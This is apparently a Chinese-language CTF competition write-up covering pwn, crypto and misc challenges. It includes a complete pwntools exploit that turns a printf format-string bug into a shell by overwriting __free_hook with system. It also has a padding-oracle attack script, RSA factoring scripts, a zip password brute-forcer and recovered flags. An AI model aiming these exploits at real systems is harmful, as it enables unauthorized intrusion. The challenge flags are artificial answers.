  int *v3; // [rsp+8h] [rbp-1468h]
  int client_fd; // [rsp+18h] [rbp-1458h] BYREF
  int i; // [rsp+1Ch] [rbp-1454h]
  int v6; // [rsp+20h] [rbp-1450h]
  int v7; // [rsp+24h] [rbp-144Ch]
  __int64 rsa_ctx; // [rsp+28h] [rbp-1448h]
  char v9[1032]; // [rsp+30h] [rbp-1440h] BYREF
  char rc4key[32]; // [rsp+440h] [rbp-1030h] BYREF
  char s[16]; // [rsp+460h] [rbp-1010h] BYREF
  char name[1024]; // [rsp+860h] [rbp-C10h] BYREF
  char rsa_signature[1024]; // [rsp+C60h] [rbp-810h] BYREF
  char s2[1032]; // [rsp+1060h] [rbp-410h] BYREF
  unsigned __int64 v15; // [rsp+1468h] [rbp-8h]

  v3 = arg;
  v15 = __readfsqword(0x28u);
  client_fd = *arg;
  v6 = recv(client_fd, name, 0x400uLL, 0);
  if ( v6 == -1 )
  {
    perror("login_recv_name_and_passwordhash");
    return -1;
  }
  v7 = query_database(&client_fd, name, rsa_signature);
  if ( v7 == -1 )
  {
    perror("query_database");
    return -1;
  }
  if ( exchange_public_key(&client_fd, s2) == -1 )
  {
    perror("exchange_public_key");
    return -1;
  }
  if ( strcmp(rsa_signature, s2) || v7 != 1 )
  {
    memset(s, 0, 0x400uLL);
    sprintf(s, "0Login failed, account or password error  !");
    puts(s);
    if ( send(client_fd, s, 0x400uLL, 0) != -1 )
      exit(-1);
    goto LABEL_10;
  }
  show_time();
  printf("%s has successfully logged in on \n", name);
  memset(s, 0, 0x400uLL);
  sprintf(s, "1Login succeess !!");
  puts(s);
  if ( send(client_fd, s, 0x400uLL, 0) == -1 )
  {
LABEL_10:
    perror("send");
    return -1;
  }
  qmemcpy(v2, v9, sizeof(v2));
  if ( Transfer_RC4_key(&client_fd, rsa_ctx, rc4key, v2[0]) != -1 )
  {
    puts("Transfer_RC4_key SUCCESS");
    do
      qmemcpy(v2, v9, sizeof(v2));
    while ( login_Decrypting_messages_verifying_signatures(&client_fd, rsa_ctx, rc4key) != -1 );
    perror("login_Decrypting_messages_verifying_signatures");
    pthread_mutex_lock(&mutex);
    for ( i = 0; i < conn_count; ++i )
    {
      if ( conns[i]->client_fd == client_fd )
      {
        RSA_free(conns[i]->rsa_ctx);
        free(conns[i]);
        free(conns[i]->decoded_msg);
        --conn_count;
      }
    }
    pthread_mutex_unlock(&mutex);
    close(client_fd);
    exit(-1);
  }
  perror("Transfer_RC4_key");
  return -1;
}

int __fastcall login_Decrypting_messages_verifying_signatures(int *fd_ptr, __int64 rsa_ctx, char *rc4key)
{
  int v3; // eax
  unsigned __int64 v4; // rax
  void *v5; // rsp
  int v6; // eax
  int result; // eax
  size_t v8; // rax
  size_t v9; // rax
  int v10; // er9
  size_t v11; // rax
  Conn *v12; // rbx
  char v13[1032]; // [rsp-408h] [rbp-14D0h] BYREF
  __int64 v14[3]; // [rsp+8h] [rbp-10C0h] BYREF
  int i; // [rsp+3Ch] [rbp-108Ch]
  int fd; // [rsp+40h] [rbp-1088h]
  int v20; // [rsp+44h] [rbp-1084h]
  __int64 v21; // [rsp+48h] [rbp-1080h]
  char *buf; // [rsp+50h] [rbp-1078h]
  __int64 v23[130]; // [rsp+58h] [rbp-1070h] BYREF
  char output[48]; // [rsp+468h] [rbp-C60h] BYREF
  char s[1024]; // [rsp+498h] [rbp-C30h] BYREF
  char dest[2048]; // [rsp+898h] [rbp-830h] BYREF
  unsigned __int64 v27; // [rsp+10A0h] [rbp-28h]

  v27 = __readfsqword(0x28u);
  fd = *fd_ptr;
  v3 = RSA_size(prkey) + 1024;
  v21 = v3 - 1LL;
  v14[0] = v3;
  v14[1] = 0LL;
  v4 = 16 * ((v3 + 15LL) / 0x10uLL);
  while ( v14 != (__int64 *)((char *)v14 - (v4 & 0xFFFFFFFFFFFFF000LL)) )
    ;
  v5 = alloca(v4 & 0xFFF);
  if ( (v4 & 0xFFF) != 0 )
    *(__int64 *)((char *)&v14[-1] + (v4 & 0xFFF)) = *(__int64 *)((char *)&v14[-1] + (v4 & 0xFFF));
  buf = (char *)v14;
  v6 = RSA_size(prkey);
  v20 = recv(fd, buf, v6 + 1024, 0);
  if ( v20 == -1 )
  {
    perror("recv_error");
    result = -1;
  }
  else if ( v20 )
  {
    printf("Client%d : %s\n", (unsigned int)fd, buf);
    memset(s, 0, sizeof(s));
    memset(dest, 0, sizeof(dest));
    v8 = strlen(buf);
    memcpy(dest, buf, v8);
    printf("hex_rc4_msg %s\n", dest);
    unhex(dest, s);
    printf("The rc4_msg is   %s\n", s);
    v9 = strlen(rc4key);
    hex(rc4key, v9, output);
    printf("The key is %s\n", output);
    RC4_set_key(v23, 17LL, rc4key);
    v10 = strlen(s);
    qmemcpy(v13, v23, sizeof(v13));
    rc4_decrypt(s, v10, v13[0]);
    printf("The decode  rc4_msg is %s\n", s);
    for ( i = 0; i < conn_count; ++i )
    {
      if ( fd == conns[i]->client_fd )
      {
        if ( !conns[i]->decoded_msg )
        {
          v11 = strlen(s);
          v12 = conns[i];
          v12->decoded_msg = (char *)malloc(v11);
        }
        strcpy(conns[i]->decoded_msg, s);
        printf(conns[i]->decoded_msg);
        puts(" ");
      }
    }
    result = 0;
  }
  else
  {
    printf("Client disconnected: %d\n", (unsigned int)fd);
    result = -1;
  }
  return result;
}

login_Decrypting_messages_verifying_signatures 里很明显的格式化字符串漏洞。问题只在于怎么交互到这儿,只是个逆向问题,解决逆向问题之后抄交互逻辑,再格式化字符串得到当前函数返回地址计算得到程序基址,再读 got 表得到 libc 基址,再写__free_hook,最后设置 shell 命令并断开网络流连接,主程序连接就 get shell 了。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python3

from pwn import *
from Crypto import Random
from Crypto.PublicKey import RSA
from Crypto.Cipher import ARC4

pbkey_path = './pb.pem'
prkey_path = './pr.pem'
try:
    pbkey = RSA.importKey(open(pbkey_path, 'rb').read())
    prkey = RSA.importKey(open(prkey_path, 'rb').read())
except Exception as e:
    # print(e)
    prkey = RSA.generate(2048, Random.new().read)
    pbkey = prkey.public_key()
    open(pbkey_path, 'wb').write(pbkey.export_key('PEM'))
    open(prkey_path, 'wb').write(prkey.export_key('PEM'))

def new_client():
    # 47.108.206.43:34284
    p = remote('47.108.206.43', 34284)
    server_p.recvuntil(b'Client connected: ')
    server_p.recvuntil(b' on sock ')
    fd = int(server_p.recvline())
    return p, fd

def recvall(p):
    data = b''
    while True:
        _data = p.recv(timeout=0.5)
        if not _data: break
        data += _data
    return data

def exchange_public_key(p, pbkey):
    global s_pbkey
    server_p.recvuntil(b'server key is ')
    server_p.recvuntil(b'-----END PUBLIC KEY-----\n')
    s_pbkey = RSA.importKey(recvall(p))
    p.send(pbkey.export_key('PEM'))
    assert server_p.recvline().startswith(b'recv client key is ')
    server_p.recvuntil(b'-----END PUBLIC KEY-----')

def register(p, name, pw_sha256_hash, pbkey):
    p.send(b'no\x00\x00')
    server_p.recvuntil(b'no\n')
    p.send(name.ljust(16, b'\x00') + pw_sha256_hash.ljust(64, b'?'))
    assert server_p.recvline() == b'recv_name_and_hash_psw\n'
    exchange_public_key(p, pbkey)
    
    server_p.recvuntil(name + b'\n')
    server_p.recvuntil(pw_sha256_hash.ljust(64, b'?') + b'\n')
    assert p.recv(1) == b'1'
    server_p.recvuntil(b' register was successful!\n')
    p.recvuntil(b' register was successful!')

def login(p, name, pw_sha256_hash, pbkey):
    global s_pbkey
    p.send(b'yes\x00')
    server_p.recvuntil(b'yes\n')
    p.send(name.ljust(16, b'\x00') + pw_sha256_hash.ljust(64, b'?'))
    exchange_public_key(p, pbkey)
    assert p.recv(0x400).startswith(b'1Login succeess !!')
    server_p.recvuntil(b'1Login succeess !!\n')

    recvall(p)
    server_p.recvuntil(b'RC4 key is ')
    rc4key = bytes.fromhex(server_p.recvline().decode())
    server_p.recvuntil(b'Transfer_RC4_key SUCCESS\n')
    assert len(rc4key) == 17 and rc4key.index(b'\x00') == 16
    return rc4key

def session(p, rc4key, data, pad_to=0, extra=b''):
    assert b'\x00' not in data, data
    data += b'\x00'
    data = ARC4.new(rc4key).encrypt(data).hex().encode()
    if pad_to:
        assert len(data) < pad_to, (len(data), pad_to)
        data = data.ljust(pad_to, b'\x00')
    data += extra
    p.send(data)
    server_p.recvuntil(b'The decode  rc4_msg is')
    server_p.recvline()
    return server_p.recvuntil(b' \n', drop=True)

# context.log_level = 'debug'
libc = ELF('./libc-2.31.so', checksec=False)
malloc_got = 0x6f50

# 47.108.206.43:20468
server_p = remote('47.108.206.43', 20468)
server_p.recvuntil(b'Server is listening on port 10000........\n')

p1, fd1 = new_client()
print('fd:', fd1)

# register(p1, b'd', b'a', pbkey)
rc4key = login(p1, b'd', b'a', pbkey)
print('rc4key:', rc4key.hex())

stack_addr = int(session(p1, rc4key, b'%p'), 16)
print('stack:', hex(stack_addr))
# 0 -> 6
elf_base = u64(session(p1, rc4key, b'%15$s', 9 * 8, p64(stack_addr + 0x400 + 0x800 + 0x30 + 8)) + b'\x00\x00') - 0x3208
print('elf:', hex(elf_base))

libc_base = u64(session(p1, rc4key, b'%15$s', 9 * 8, p64(elf_base + malloc_got)) + b'\x00\x00') - libc.sym['malloc']
print('libc:', hex(libc_base))

for i in range(6):
    print(session(p1, rc4key, b'%' + str(((libc_base + libc.sym['system']) >> (8 * i)) & 0xff).encode() + b'c%15$hhn', 9 * 8, p64(libc_base + libc.sym['__free_hook'] + i)))

session(p1, rc4key, b'/bin/sh')

p1.close()

server_p.interactive()

Crypto

010101

远程拿一组数据,给出了 p 的比特,而且只有 2 个比特的错误,直接穷举纠错,分解 n 即可,然后解密获得 flag。

交互脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import remote
import hashlib
from itertools import product
import string

# 124.71.177.14:10001
io = remote("124.71.177.14", 10001)

def solve_pow():
    io.recvuntil(b"SHA256(XXXX + ")
    random_str = io.recvuntil(b"):").decode().strip("):")
    target = io.recvuntil(b"\n").decode().strip("\n")
    io.recvuntil(b"Give Me XXXX:")
    table = string.ascii_letters + string.digits
    print("[+] pow start solving ...")
    bf = product(table, repeat=4)
    for i in bf:
        if hashlib.sha256("".join(i).encode() + random_str.encode()).hexdigest() == target:
            io.sendline("".join(i).encode())
            print("[+] pow solved")
            break
        
solve_pow()
io.sendlineafter(b"Press 1 to get ciphertext\n", b"1")
n = int(io.recvline().strip())
p = io.recvline().strip().decode()
c = int(io.recvline().strip())
p1 = p[:1024]
p2 = p[1024:]

print("[+] n =", n)
print("[+] p =", p)
print("[+] c =", c)

本地解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import *
n = 665395958162245973398572378439637802103244662055121481409601733985769841844787336731654712015388162497713116869868296620449257602734405755930496663782678601526168683629303820217197830794036061744478299578988319226042058626627914259497857591242372435938449603439537808071241475115987619945247159531759254762907068117942605226410882072174822871281326827813503946885007075377360721586748551542786169950834340443249740944018141134862118541110875290895743917260959771060640902187769828597662219987493674663304663251268325162318956812635183033437339329024206362825929491476207093251592308120828824043447195571451752681691354091312543833269539713207160385739727602733290066023473356928402325277004892085558435561835854772796055906659833865437383053632264306950826400486227700094548070096918262009349379342655507578088669308363904080073598614110559444085268252711262971781935595771856130695086750182875338861079486035334560105524551524315801989262413004031140185793011885472242743974138551855452844891825613136267395564709460536656358780822484218858922844042742221208506539832099111183105521503452670093322454935505490799688257454316494194566665429594669431455377079750959188407739263630434375247903404349517313697893019387681745668271237731
p_str = "11011010010010111011100111100001000000101110110101111011111101111110110010111010100011100110000111000101110101101001111101101111100100001110101110001000111000011111010110101010010000111101101110010101100111101010100100111011010111001111001101001000011101000110011011010010011000110110000010110111100100101101001100100010110100000101011010111011010010101100001010100100110011010110011100001010001100101111010101110100010000101101111100111101001001010001011111111100111010111011111111010100001010010101110100011111001001001100100100001110010110101011010111101101101010010110110100111111100101010101000010111011111101100011000001011001101010010000000010100000110101101001000001000100111010100010101001001101001100001100011110110110100011110111010100100010010110010010011110111010010001100000000001100110110000011110110000010101101100010110100000011001111010011000100100101011101011000110011110111001111111110010110000001101110000111001101110010111101011011110011111010001000101010010001001000001101110010100000100101000001001010111101111001110100111110000010011111100101011000010111010011111100110101000101010011111111010111001101010000111001100111111000010010111001100101000010100100110001101000110101101100110100011101100110100011110011011110010100111101010010111000101101111001001100000101001110111001001111000010001100110110011000000101100101011110100011110110010110011110101101001010100111010110110111110000011111111101000111111000101100010101001100111111010100000111000000010101011001001111001001111011000110000110100000101111011101011011101010111000100000011000000010100110011111010101110001001010000010010111101011111001110001111110001111101011110111111101110100110010010000011111010101011101001111010110010000101111110010110111001111111011011100011010101001000100011010011000011011100101100111100110011100100011101001101111110111001111111000010100000010110001101010010110001011001000100110101100100110010111001110100101011111100001010101110010100100100111111110100101110101010111000111110100001111101010100010101011000010111111101001001111011"
c = 505718550397135093944597462022023301077550076112472149561832975020077721308351149803326847091070091002120349353631280609607706984994140194676153343460427537804798991795713584440384106305103951407826348501092167444445321762806428797021466397097303405819684835325375587000872120148696799942870459922571593639170885511237839870524229764632122594876888409269456572700890189490761562343129566610621680505775490098321055576768222046023740735867379530681183723720349263650106938467591226781579344086332848599157750518350107923245396631461420753342364977543377249298053926245115450091962647527879032984619236586991061767226292713986251723928603656589072022607098334288277729752831643349034562475610612554754992389405400688068289501441643186564591897769758523562322910838552404793493580658116968416594606581773977760525294908923272401387871767940957159186397664612250488857773879962687470786565336074789455388631153477892048159224623260365908985119710394193190525504841766059883116340165116823831029924429139519416951570254092499188374327467919228235001247718847818655705854542687109186573968843262260780267917049029582309294829441927149325812582376860693184702101245810469910687202642570920950673623137514550576360285456663275536152914166760

for i in range(0,1024):
    p_list = list(p_str)
    if p_list[i] == '1':
        continue
    else:
        p_list[i] = '1'
    for j in range(1024, 2048):
        if p_list[j] == '0':
            continue
        else:
            p_list[j] = '0'
            pt = "".join(p_list)
            p_num = int(pt, 2)
            if n % p_num == 0:
                print("[+] p =", p_num)
                print("[+] q =", n // p_num)
                d = inverse(0x10001, (p_num - 1) * (n // p_num - 1))
                m = pow(c, d, n)
                print("[+] m =", long_to_bytes(m))
                exit()
            else:
                p_list[j] = '1'

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

经典的 padding oracle 攻击,flag 加密后只有一个分组,不超过 16 字节,比较简单。首先从倒数第二字节开始改,看什么时候刚刚开始成功 unpad,则此时我们修改的是 flag 的最后一个字节。因此可以获知 flag 长度为 12 (前两位随机的) 。然后不断根据 iv 值修改,控制解密的后 k 个字节为 k + 1,修改倒数第 k + 1 位置的 iv 值,看什么时候成功 unpad,则此时该位置恰好解密为 k + 1,如此可以解密整个分组。

Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import remote, context
import hashlib
from itertools import product
import string

# context.log_level = "debug"
# 124.71.177.14:10010
io = remote("124.71.177.14", 10010)
# io = remote("127.0.0.1", 10010)

def solve_pow():
    io.recvuntil(b"SHA256(XXXX + ")
    random_str = io.recvuntil(b"):").decode().strip("):")
    target = io.recvuntil(b"\n").decode().strip("\n")
    io.recvuntil(b"Give Me XXXX:")
    table = string.ascii_letters + string.digits
    print("[+] pow start solving ...")
    bf = product(table, repeat=4)
    for i in bf:
        if hashlib.sha256("".join(i).encode() + random_str.encode()).hexdigest() == target:
            io.sendline("".join(i).encode())
            print("[+] pow solved")
            return
        
def get_enc():
    io.sendline(b"1")
    io.recvuntil(b"This is your flag: ")
    enc = io.recvuntil(b"\n").decode().strip("\n")
    return bytes.fromhex(enc)

def decrypt_oracle(enc: bytes):
    io.sendline(b"2")
    io.recvuntil(b"Please enter ciphertext:\n")
    io.sendline(enc.hex().encode())
    res = io.recvuntil(b"\n").decode().strip("\n")
    if res == "True":
        return True
    else:
        return False
    
def get_flag_len(iv, ct):
    # get flag length
    for i in range(2, 17):
        iv_arr = bytearray(iv[:])
        iv_arr[-i] ^= 1
        res = decrypt_oracle(iv_arr + ct)
        if res == True:
            flag_len = 17 - i
            return flag_len
        
def xor(a, b):
    return bytes([i ^ j for i, j in zip(a, b)])
    
# def getbyte(iv, ct, flag_len, i):
#     # get the i-th byte of flag from the end
#     pad_bytes = bytes([16 - flag_len] * (16 - flag_len))
#     lattar_bytes = xor(iv[-i:], pad_bytes)
    
#     for j in range(256):
#         iv_arr = bytearray(iv[:])
#         iv_arr[-i] ^= j
#         res = decrypt_oracle(iv_arr + ct)
#         if res == True:
#             return j
    
solve_pow()
io.recvuntil(b"decrypt the flag\n")

enc = get_enc()
print("[+] enc:", enc, len(enc))

iv = enc[:16]
cipher = enc[16:]

# flag_len = get_flag_len(iv, cipher)
flag_len = 12
print("[+] flag_len:", flag_len)
pad_bytes = bytes([16 - flag_len] * (16 - flag_len))
known_suffix = pad_bytes

for i in range(flag_len):
    kl = len(known_suffix)
    print(f"[+] known_suffix: {known_suffix = }, {kl = }")
    new_suff = bytes([kl + 1] * kl)
    new_suff_iv = xor(xor(known_suffix, iv[-kl:]), new_suff)
    new_iv = bytearray(iv[:-kl] + new_suff_iv)
    for j in range(256):
        new_iv[-kl - 1] = j
        res = decrypt_oracle(bytes(new_iv) + cipher)
        if res == True:
            print("[+] found byte when j = ", j)
            known_suffix = bytes([j ^ (kl + 1) ^ iv[-(kl + 1)]]) + known_suffix
            break
            
# D0g3{0P@d4Ttk}

Rabin

由代码知道,每次生成的 r 都是相同的,可以 gcd 分解得到 r。发现 r 就是 2^1279 - 1 , 由此可以确定 x 只能是 2,4,8 (x = 16 时不等于 2^1279 -1)

1
2
3
4
5
6
7
8
r = 2
x = [2,4,8,16]
while True:
    r = r * 8
    if r.nbits() > 1024 and is_prime(r - 1):
        r = r - 1
        break
print(r == 2^1279 -1)

从 relation 知道, x 只能取 8 才能使得 :$\sum_{i=0}^{3} e_2^i = \sum_{i=0}^{x - 3} e_1^i$

简单 check 一下上面的式子:

1
2
3
4
5
6
7
8
pr.<x> = PolynomialRing(ZZ)
f = sum([x^i for i in range(5)])
for e2 in range(1, 200):
    g = f - 1 - e2 - e2^2
    roots = g.roots()
    if len(roots) != 0:
        print(f"{e2 = }")
        print(roots)

只能是 e1 = 2, e2 = 5 。

分解 N 的场景和 https://www.cnblogs.com/sigenzhe/p/15641699.html 里的 RSA24 是一样的。然后对 c1 直接开 2 次根再 CRT ,检查符合条件的解,对 c2 直接 RSA 解密。

拿远程数据:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import remote, context
import hashlib
from itertools import product
import string

context.log_level = "debug"

# 124.71.177.14:10001
# 124.71.177.14:10100
io = remote("124.71.177.14", 10100)

def solve_pow():
    io.recvuntil(b"SHA256(XXXX + ")
    random_str = io.recvuntil(b"):").decode().strip("):")
    target = io.recvuntil(b"\n").decode().strip("\n")
    io.recvuntil(b"Give Me XXXX:")
    table = string.ascii_letters + string.digits
    print("[+] pow start solving ...")
    bf = product(table, repeat=4)
    for i in bf:
        if hashlib.sha256("".join(i).encode() + random_str.encode()).hexdigest() == target:
            io.sendline("".join(i).encode())
            print("[+] pow solved")
            break
        
solve_pow()
# io.recvline()
# print(io.recvline())
io.sendlineafter(b"Press 1 to get ciphertext\n", b"1")
n = int(io.recvline().strip().split(b" = ")[1])
inv_p = int(io.recvline().strip().split(b" = ")[1])
inv_q = int(io.recvline().strip().split(b" = ")[1])
c1 = int(io.recvline().strip().split(b" = ")[1])
c2 = int(io.recvline().strip().split(b" = ")[1])

# save
with open("out.txt", "w") as f:
    f.write(f"n = {n}\n")
    f.write(f"inv_p = {inv_p}\n")
    f.write(f"inv_q = {inv_q}\n")
    f.write(f"c1 = {c1}\n")
    f.write(f"c2 = {c2}\n")

Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from gmpy2 import invert, gcd
from Crypto.Util.number import long_to_bytes, bytes_to_long

n = 227028220483791935664775525548179927983977939649413346257863681507572255303341536510134360248670762186716464472775195518394752091583300813916986066358066281283152566637673428418862821343379940545543151621452671547570268511820180444384262656188250792694905681499000907982051574138109425804000921049295726663441582117580457998888011353719690852968766615330824300213459844007991507549029164048820456902308485809236599494414578146302539088584749789515919038090702028919304798688939319976349022459201357100720658174476416508924401500922306507227757313023283781062768607996689108204571597676303050806355306729459612773276762054254288272323582893584440544097260907062637566643084720379111114060958423896721937840913851219150900398962522227666542738517958683615129515672877126829362100631749422946871210799798247001122105449275001562112026827889301756924947204346604139411296724532056232617824669435712195356173543064537652708971105578262740076918423871279046895398344580203128729069457377488302319844860726607
inv_p = 10681593438822481679530053844174839034837979570151944359886678593943566983101369933380865908524365850851504185361149863803465913577395242235698081423079578575912506736600531576208319658149419395070231616519439772867015071089087778723722042484981953277721584956937029024826500177082353774914369024286685718001
inv_q = 151891413027000031417082796547469523221735000435687930742087967384761472496032914696123479069965728721656197929301161098197404632323447720303006641984262672179168787495289944485853390293754942087346315583516422869793007112949165603916778672824566735043723625674432506236933587266108367741067715907623437207757
c1 = 157555310041654127151474046386502936835282859851591649224527945717231560965213425770524736193382985321415167897655578131903259391417986898327999782427454072657907321602138195785524950881256086967468195281937591964949279595935219849826481051560182426731656865281341146058516558489637941579408313752416012130531162809295700262941124573819155279695614671780191008698375908886161372742344693660871619412740515054068500486245845312994724405690060623334051770874004522017534563594802265434101483239155952258088862382166595288081680566495435881097112690835443936171541074661077767993457722710856216488345382024795141234180236823682399857883131204823989113282069962961965874972347225178984925551479855504722647187728142765829885925150509222222975511728895799783907545334794421702890752576676681178190266340156405359292225484604015895686503775613151791479042422430425111750809222702763211098684587526199612529740166232608139662763714695073654322634242306814078810086721076746947871042296826418876620973398787549
c2 = 135493420779590267188815839983574741654076617680389957095670123548884127717035651326322626080381119447314665582920981684556526672437924826154176883967006709933356194046694711789487219252583115670382000418221986704201974157385699469000162443728414804869506666866380813548426123847796297475922823252592012450128953625875114787125226216212995261119343483566029100232891800014233000650935024596875842452230204279636444605106338393467234227471955065969830516084128657614234384227514939956905765199990262678246407515842864386083962165982508123140936502755041957273994592535245343493284593995352967074127342994786405744142527303594840364626526450581547521299021542470633674138135321644604728862029296277031308860035314049642687438927389314023563150770511846055393599411145269438021609824771407427710981137610104135545956401296078144227142612194224997048499081869977720510411784004401068406273739735780079172873427872771605216679302289809361843926882796980957915210201517863252186069075076959875776549225969687

N1, inv_p1, inv_q1, C1, C2 = n, inv_p, inv_q, c1, c2
r = 10407932194664399081925240327364085538615262247266704805319112350403608059673360298012239441732324184842421613954281007791383566248323464908139906605677320762924129509389220345773183349661583550472959420547689811211693677147548478866962501384438260291732348885311160828538416585028255604666224831890918801847068222203140521026698435488732958028878050869736186900714720710555703168729087

n = 239199589190468971507965006858683132001724556497617234995123959406039089686655995339723402829688851398502120208537882196955546421030880195199968496067792838390694106636086608847187656032367852357033028742141431857074849011462255438707467893141269582056641312535412605143220581288460179992576672767126166580739118182630872325418968387628303042838615377718774769081741993823452938278591620821592623794234352603101171717578398840866145540572446206481066649461448885863025963496903406700026440331114004760416694662370822505450337503536978533567968247237865149966842754932184452987932357229489616509164334828153730649579904708435931891369560582909473946921822089157833328896504163623430856679747151653875476907249049518153427050641833769040610983567257785059015737371483566731068001821086664239017022784079334826877019973990726148296928446440020324600564491944024577735212945310170134493470766485494788588237750631464588358154290414890692051396916568603623377302525110830692659878909009724838062770745833611
inv_p = 36145510972155756331270292331759169329636553741266483597218676648120025671316424268271205382735076256174194139099090601872048854987963162741003645691399592090562570337715543272499280227476605152048530141440754635701597715446872307194606437596814754902116284533147389579250163944601102970057806681416806929372
inv_q = 125545635503833934298080364019666429160928908612034147035327739461822125932647786091904387594627098419434103067697450706065877064330532417022297474463076785107833261048992356498369307753540630978967950113946638437946594007211820538033236282749831989699814024550777785790805165437100373349248497254054181396830
_c1 = 154210044697182078527415427530497849115960567258362895804058122053336297232857021880144200745416918594309498515674341616731960061253088985968902605466741320821331911577453829390681661069359780405488109322377264833506192082254482177006452374027600695429026886187477572056070531180634762963357969907652309321198005758259146507075350798715128241322637464366138020576794378969181603714889970411931074790279925695828501828004352005881072662191574823468937589047711532375923664228410466179076212133854723769643022023621496852259108546053203448133623279730314151566207434905774632142359206794313534242152170046792543417411959517446681320397261441271770452054134037285766485644064185268074027258441896886414272567365542880755092937639229937968066120656113987984655012492879226148569905387604071410571423321526770673223937296188435158259369236837874091689613230012501239251373275064999524546154442427415075874224779629591500370209657115007056410662795938970687647571596200282605934356000665253644593854816087850
_c2 = 192111146250228923551908848615777603211212106221876491662723967698757120031161667063440376583030521130602121598472745201420365413983445477727270827237738245309485686721837146451388841242600250961357693155629090576028928008994355009210839926155425526836657722394469119579242988307449130958588886186320468735432973946972378753756216900095526993124914555983338657286445574717174092634918025625022294116558740424974937396281977371056634319097616206712224968676923660684288121007135596567214385490516521557514805526698083451014556151925336169901812276324177569387424123853683595174131431710637582448875191354830622255217205685767589370094935522236896303702301060531418973772965300372157594797823744676848319895208266570941913852373808398725045361677077607364564476445195563513779650623892653000935782138722309389669714396386175202116483066127859359719071696633007069488920539931794183261173709959354658529106769759666759535487555595022446639211166831807651680000790590833148392520727574737713812810882276217


N2, inv_p2, inv_q2, C1, C2 = n, inv_p, inv_q, c1, c2

r = ZZ(gcd(N2, N1))
n1 = ZZ(N1) // r
n2 = ZZ(N2) // r

x, y = var('x y')
sol1 = solve([inv_p1 * x + inv_q1 * y - 1 == n1, x*y == n1],[x,y])
# print(sol1)

p = ZZ(sol1[0][0].rhs())
q = ZZ(sol1[0][1].rhs())

n = N1
assert p * q * r == n
e2 = 5
e1 = 2

d2 = inverse_mod(e2, (p-1)*(q-1)*(r-1))
m2 = pow(c2,d2,n)
print(long_to_bytes(int(m2)))

pr.<x> = PolynomialRing(GF(p))
f = x^2 - c1
mps = f.roots(multiplicities=False)

pr.<x> = PolynomialRing(GF(q))
f = x^2 - c1
mqs = f.roots(multiplicities=False)

pr.<x> = PolynomialRing(GF(r))
f = x^2 - c1
mrs = f.roots(multiplicities=False)


for mp in mps:
    for mq in mqs:
        for mr in mrs:
            m1 = crt([ZZ(mp),ZZ(mq),ZZ(mr)],[p,q,r])
            if ZZ(m1).nbits() <= 2048:
                print(long_to_bytes(int(m1)))

Flag :

D0g3{82309bce-9db6-5340-a9e4-a67a9ba15345}

Misc

疯狂的麦克斯

解压得到三个文件:麦克斯的称号 、嗨.zip ,FLAG.zip

麦克斯的称号 文件里是一系列字符串,发现有很多零宽字符,放 https://www.mzy0.com/ctftools/zerowidth1/里解密得到 mks007。应该是最后的称号,但是这个对最后做题并没什么用。

检查第二个 嗨.zip ,是一个 doc 文件,直接把 doc 文件后缀改成 zip,解压,发现可疑文件 MKS IM麦克斯.txt,里面是一个数组,最后跟着一个字符串,XLMWMWQOWHSCSYORSAALSEQM

猜测数组是 FLAG.zip 的密码字典,XLMWMWQOWHSCSYORSAALSEQM 经过维吉尼亚加密,解密密钥是 e ,也就是 THIS IS MKS DO YOU KNOW WHO AM I

于是根据大数组和维吉尼亚的密钥,进行解密,base64 等等生成一系列大的字节,最后一个个解密即可得到解密密钥。

Password 字典生成,然后爆破一下即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import zipfile
from ast import literal_eval
from base64 import b64encode, b64decode
from tqdm import tqdm

def crack_zip(zip_file, password_list):
    for password in tqdm(password_list):
        try:
            with zipfile.ZipFile(zip_file, 'r', zipfile.ZIP_STORED) as zf:
                zf.extractall(pwd=password.encode())
                print(f"Password found: {password}")
                return True
        except zipfile.BadZipFile:
            print(f"Invalid zip file {password = }")
        except Exception as e:
            es = str(e)
    print("Password not found")
    return False

def vigenger_dec(ct, k = 4):
    pt = []
    for i, c in enumerate(ct):
        if c not in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
            pt.append(c)
            continue
        else:
            pt.append(chr(ord('A') + ((ord(c) - ord('A') - k) % 26)))
    return ''.join(pt)

# zip_file = './knonw.zip'
zip_file = './FLAG.zip'
data = open("./MKS IM麦克斯.txt", "r", encoding="utf-8").read()
ed = "XLMWMWQOWHSCSYORSAALSEQM"
pt = [chr(ord("A") + ((ord(c) - ord("A") - 4) % 26)) for c in ed]
print(pt)
